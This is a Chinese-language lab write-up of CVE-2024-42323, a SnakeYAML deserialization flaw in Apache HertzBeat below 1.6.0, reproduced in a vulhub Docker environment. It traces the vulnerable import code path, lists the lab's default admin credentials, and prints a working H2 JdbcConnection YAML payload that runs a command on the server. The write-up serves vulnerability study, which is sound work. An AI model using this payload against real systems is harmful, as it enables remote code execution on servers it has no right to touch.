漏洞介绍
Apache HertzBeat 是一款开源的实时监控告警工具,支持对操作系统、中间件、数据库等多种对象进行监控,并提供 Web 界面进行管理。
在 1.6.0 版本之前,HertzBeat 使用了存在安全漏洞的 SnakeYAML 库来解析 YAML 文件。当已认证用户通过 /api/monitors/import 或 /api/alert/defines/import 接口导入新的监控类型时,可以提供特制的 YAML 内容触发不受信任数据的反序列化,最终可能导致在目标系统上执行远程代码。
漏洞范围
HertzBeat < 1.6.0
漏洞靶场
使用vulhub的靶场:
使用环境为HertzBeat 1.4.4
vulhub-master/hertzbeat/CVE-2024-42323/
启动靶场环境:
1 | docker-compose up -d |
服务启动后,访问 http://your-ip:1157/dashboard 进入 HertzBeat 控制面板。默认登录凭据为:
- 用户名:
admin - 密码:
hertzbeat
漏洞原理
首先看/api/monitors/import接口,定位到MonitorsController#export,调用MonitorService#importConfig方法处理传入的文件

org/dromara/hertzbeat/manager/controller/MonitorsController.java#L202-L207
调用MonitorServiceImpl#importConfig处理文件,根据文件名后缀,判断文件类型,根据不同的文件类型调用不同的函数处理。如果上传yaml格式的文件,则获取YamlImExportServiceImpl的type,然后根据type获取imExportServiceMap中对应的imExportService

org/dromara/hertzbeat/manager/service/impl/MonitorServiceImpl.java#L285-L306
那么imExportServiceMap是在哪赋值的?追溯可以发现是构造函数初始化了imExportServiceMap,将 imExportServiceList 中的每个服务按照其类型存入imExportServiceMap中。

org/dromara/hertzbeat/manager/service/impl/MonitorServiceImpl.java#L124-L126
在Spring 中会自动扫描并注入所有实现了 ImExportService 接口的 Bean 并将其作为参数传递给构造函数。这样imExportServiceMap 会在 Bean 初始化时自动填充,查看所有实现ImExportService 的接口:

接着调用imExportService.importConfig方法,此时imExportService为YamlImExportServiceImpl,并且YamlImExportServiceImpl继承AbstractImExportServiceImpl类

org/dromara/hertzbeat/manager/service/impl/YamlImExportServiceImpl.java#L22-L24
所以查看AbstractImExportServiceImpl#importConfig方法,在该方法中调用parseImport方法处理上传的文件

org/dromara/hertzbeat/manager/service/impl/AbstractImExportServiceImpl.java#L61
跟进到YamlImExportServiceImpl#parseImport方法,经典的SnakeYaml反序列。

org/dromara/hertzbeat/manager/service/impl/YamlImExportServiceImpl.java#L57-L60
查看组件版本也是符合反序列化条件的

pom.xml#L56
漏洞复现
首先,准备一个恶意 YAML 文件,文件名必须以 .yaml 结尾,内容如下:
1 | !!org.h2.jdbc.JdbcConnection [ "jdbc:h2:mem:test;MODE=MSSQLServer;INIT=drop alias if exists exec\\;CREATE ALIAS EXEC AS $$void exec() throws java.io.IOException { Runtime.getRuntime().exec(\"touch /tmp/success\")\\; }$$\\;CALL EXEC ()\\;", [], "a", "b", false ] |
访问http://127.0.0.1:1157/dashboard登录 HertzBeat 后台
然后,导航到任意监控页面并找到导入按钮,在这里将上面的恶意 YAML 文件导入:

HertzBeat 对 YAML 文件进行反序列化时,触发远程代码执行:

如果攻击成功,payload 将在目标系统上执行。在本例中,我们可以通过检查容器中是否存在新创建的文件来验证执行结果:

参考
vulhub/hertzbeat/CVE-2024-42323/README.zh-cn.md at master · vulhub/vulhub (github.com)
Apache HertzBeat <1.6.0 SnakeYaml反序列化漏洞(CVE-2024-42323)-先知社区 (aliyun.com)